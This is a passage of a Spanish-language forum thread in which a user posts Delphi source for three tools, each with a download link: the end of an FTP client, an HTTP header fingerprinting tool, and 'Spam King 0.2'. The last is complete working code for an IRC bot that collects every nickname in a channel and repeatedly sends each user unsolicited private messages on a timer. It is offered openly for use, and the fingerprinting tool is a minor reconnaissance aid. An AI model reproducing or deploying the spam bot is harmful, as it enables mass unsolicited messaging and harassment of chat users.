        sStatusBar1.Panels[0].Text := '[+] Finished';
        Form1.sStatusBar1.Update;
        sProgressBar1.Max := 0;
      end;

      procedure TForm1.M1Click(Sender: TObject);
      var
        nombrecarpeta: string;
      begin

        chdir(sEdit1.Text);
        nombrecarpeta := InputBox('Write the name', 'Directory : ', 'test');
        try
          begin
            MkDir(nombrecarpeta);
            ShowMessage('Folder Created');
          end;
        except
          begin
            ShowMessage('Error');
          end;

        end;

      end;

      procedure TForm1.R1Click(Sender: TObject);
      var
        nuevonombre: string;
      begin
        nuevonombre := InputBox('Write the name', 'New name : ', 'testar');

        chdir(sEdit1.Text);
        if RenameFile(sListView1.Selected.Caption, nuevonombre) then
        begin
          ShowMessage('Ok');
        end
        else
        begin
          ShowMessage('Error');
        end;
      end;

      procedure TForm1.R2Click(Sender: TObject);
      begin
        listar(sEdit1.Text, sListView1, ImageList1);
      end;

      procedure TForm1.R3Click(Sender: TObject);
      var
        newname: string;
      begin

        newname := InputBox('Write the name', 'New name : ', 'testar');

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.Rename(sListView2.Selected.Caption, newname);
            ShowMessage('File rename');
          end;
        except
          begin
            ShowMessage('Error');
          end;
        end;
      end;

      procedure TForm1.R4Click(Sender: TObject);
      begin
        listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.sButton1Click(Sender: TObject);
      begin
        listar(sEdit1.Text, sListView1, ImageList1);
      end;

      procedure TForm1.sButton2Click(Sender: TObject);
      begin

        sListView1.Items.Clear;
        sListView2.Items.Clear;

        ListBox1.Clear;
        ListBox2.Clear;

        if (sButton2.Caption = 'Disconnect') then
        begin
          IdFTP1.Disconnect;
          sButton2.Caption := 'Connect';
        end
        else
        begin

          IdFTP1.Host := sEdit2.Text;
          IdFTP1.Username := sEdit3.Text;
          IdFTP1.Password := sEdit4.Text;

          try
            IdFTP1.Connect;
            sButton2.Caption := 'Disconnect';
          except
            sStatusBar1.Panels[0].Text := '[-] Error';
            Form1.sStatusBar1.Update;
          end;
        end;
      end;

      procedure TForm1.sButton3Click(Sender: TObject);
      begin
        listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.sButton4Click(Sender: TObject);
      var
        fileabajar: string;
      begin

        fileabajar := sListView2.Selected.Caption; ;
        IdFTP1.OnWork := IdFTP1Work;
        IdFTP1.ChangeDir(sEdit5.Text);

        sProgressBar1.Max := IdFTP1.Size(ExtractFileName(fileabajar)) div 1024;

        IdFTP1.Get(fileabajar, sEdit1.Text + '/' + fileabajar, False, False);

      end;

      procedure TForm1.sButton5Click(Sender: TObject);
      var
        fileasubir: string;
        dirasubir: string;
        cantidad: File of byte;
      begin

        fileasubir := sEdit1.Text + sListView1.Selected.Caption;
        dirasubir := sEdit5.Text;

        IdFTP1.OnWork := IdFTP1Work;

        AssignFile(cantidad, fileasubir);
        Reset(cantidad);
        sProgressBar1.Max := FileSize(cantidad) div 1024;
        CloseFile(cantidad);

        IdFTP1.ChangeDir(dirasubir);
        IdFTP1.Put(fileasubir, sListView1.Selected.Caption, False);

      end;

      procedure TForm1.sListView1DblClick(Sender: TObject);
      var
        dir: string;
      begin

        dir := sEdit1.Text + sListView1.Selected.Caption + '/';
        if (DirectoryExists(dir)) then
        begin
          sEdit1.Text := sEdit1.Text + sListView1.Selected.Caption + '/';
          listar(dir, sListView1, ImageList1);
        end;
      end;

      procedure TForm1.sListView2DblClick(Sender: TObject);
      var
        dir: string;
      begin
        dir := sEdit5.Text + sListView2.Selected.Caption + '/';
        sEdit5.Text := sEdit5.Text + sListView2.Selected.Caption + '/';
        listarftp(dir, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2);
      end;

      procedure TForm1.D3Click(Sender: TObject);
      begin
        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.Delete(sListView2.Selected.Caption);
            ShowMessage('File Deleted');
          end;
        except
          begin
            ShowMessage('Error');
          end;
        end;
      end;

      procedure TForm1.D4Click(Sender: TObject);
      begin

        try
          begin
            IdFTP1.ChangeDir(sEdit5.Text);
            IdFTP1.RemoveDir(sListView2.Selected.Caption);
            ShowMessage('Directory Deleted');
          end
        except
          ShowMessage('Error');
        end;

      end;

      procedure TForm1.D5Click(Sender: TObject);
      begin
        IdFTP1.Disconnect;
      end;

      procedure TForm1.E1Click(Sender: TObject);
      begin
        Form1.Close();
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de aca
#219
Un simple HTTP FingerPrinting hecho en Delphi.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// HTTP FingerPrinting 0.1
// Coded By Doddy H

unit http;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  IdCookieManager, Sockets, ComCtrls, sStatusBar, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    IdHTTP1: TIdHTTP;
    sStatusBar1: TsStatusBar;
    Image1: TImage;
    IdCookieManager1: TIdCookieManager;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cappuccino';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: integer;

begin

  sStatusBar1.Panels[0].text := '[+] Working ...';
  Form1.sStatusBar1.Update;

  sMemo1.Clear;

  try

    IdHTTP1.Get(sEdit1.text);

    sMemo1.Lines.Add('[+] ' + IdHTTP1.Response.ResponseText);
    sMemo1.Lines.Add('[+] Date : ' + DateTimeToStr(IdHTTP1.Response.Date));
    sMemo1.Lines.Add('[+] Server : ' + IdHTTP1.Response.Server);
    sMemo1.Lines.Add('[+] Last-Modified : ' + DateTimeToStr
        (IdHTTP1.Response.LastModified));
    sMemo1.Lines.Add('[+] ETag: ' + IdHTTP1.Response.ETag);
    sMemo1.Lines.Add('[+] Accept-Ranges : ' + IdHTTP1.Response.AcceptRanges);
    sMemo1.Lines.Add('[+] Content-Length : ' + IntToStr
        (IdHTTP1.Response.ContentLength));
    sMemo1.Lines.Add('[+] Connection : ' + IdHTTP1.Response.Connection);
    sMemo1.Lines.Add('[+] Content-Type : ' + IdHTTP1.Response.ContentType);

    for i := 1 to IdCookieManager1.CookieCollection.count do
    begin
      sMemo1.Lines.Add('[+] Cookie : ' + IdCookieManager1.CookieCollection.Items
          [i - 1].CookieText);
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;

  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca
#220
Programación General / [Delphi] Spam King 0.2
14 Junio 2013, 19:04 PM
Un simple programa para spammear en un canal IRC , solo ponen los mensajes a enviar y el programa cada cierto tiempo marcado por ustedes mandara mensajes privados a cada persona en ese canal marcado.

Una imagen :



El codigo

Código (delphi) [Seleccionar]

// Spam King 0.2
// Coded By Doddy H

unit irc;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sSkinManager, ExtCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdContext, IdCmdTCPClient,
  IdIRC, sMemo, sGroupBox, sLabel, sEdit, ComCtrls, sStatusBar, sListBox,
  PerlRegEx, jpeg, acPNG;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Timer1: TTimer;
    IdIRC1: TIdIRC;
    sGroupBox1: TsGroupBox;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sStatusBar1: TsStatusBar;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sLabel5: TsLabel;
    sEdit5: TsEdit;
    sButton2: TsButton;
    sGroupBox3: TsGroupBox;
    sListBox2: TsListBox;
    sButton1: TsButton;
    sLabel6: TsLabel;
    sEdit6: TsEdit;
    sButton3: TsButton;
    sGroupBox4: TsGroupBox;
    sMemo1: TsMemo;
    PerlRegEx1: TPerlRegEx;
    Console: TsGroupBox;
    sMemo2: TsMemo;
    sLabel1: TsLabel;
    Image1: TImage;
    sLabel7: TsLabel;
    procedure sButton1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);
    procedure sButton3Click(Sender: TObject);
    procedure IdIRC1NicknamesListReceived(ASender: TIdContext;
      const AChannel: string; ANicknameList: TStrings);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
      const AMessage: string);
    procedure IdIRC1Disconnected(Sender: TObject);
    procedure IdIRC1Connected(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;

end;

procedure TForm1.IdIRC1Connected(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[+] Connected ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdIRC1Disconnected(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[+] Stopped';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdIRC1NicknamesListReceived
  (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
var
  i: integer;
  i2: integer;
  renicks: string;
  listanow: TStringList;
  arraynow: array of String;

begin

  sListBox2.Clear;

  for i := 0 to ANicknameList.Count - 1 do
  begin

    PerlRegEx1.Regex := '(.*) = ' + sEdit3.text + ' :(.*)';
    PerlRegEx1.Subject := ANicknameList[i];

    if PerlRegEx1.Match then
    begin
      renicks := PerlRegEx1.SubExpressions[2];

      renicks := StringReplace(renicks, sEdit4.text, '', []);

      listanow := TStringList.Create;
      listanow.Delimiter := ' ';
      listanow.DelimitedText := renicks;

      for i2 := 0 to listanow.Count - 1 do
      begin
        sListBox2.Items.Add(listanow[i2]);
      end;

    end;

  end;

end;

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);
begin
  sMemo1.Lines.Add(ANicknameFrom + ' : ' + AMessage);
end;

procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
begin
  sMemo2.Lines.Add(AMessage);
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  sListBox2.Items.Clear;
  sMemo2.Lines.Clear;
  sMemo1.Lines.Clear;

  IdIRC1.Host := sEdit1.text;
  IdIRC1.Port := StrToInt(sEdit2.text);
  IdIRC1.Nickname := sEdit4.text;
  IdIRC1.Username := sEdit4.text + ' 1 1 1 1';
  IdIRC1.AltNickname := sEdit4.text + '-123';

  try

    IdIRC1.Connect;
    IdIRC1.Join(sEdit3.text);

    Timer1.Interval := StrToInt(sEdit6.text) * 1000;
    Timer1.Enabled := True;

  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  sListBox1.Items.Add(sEdit5.text);
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[-] Stopped';
  Form1.sStatusBar1.Update;
  IdIRC1.Disconnect();
  Abort;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
begin

  sStatusBar1.Panels[0].text := '[+] Spamming ...';
  Form1.sStatusBar1.Update;

  for i := 0 to sListBox2.Count - 1 do
  begin

    IdIRC1.Say(sListBox2.Items[i], sListBox1.Items[Random(sListBox1.Count - 1)
        + 0]);

  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca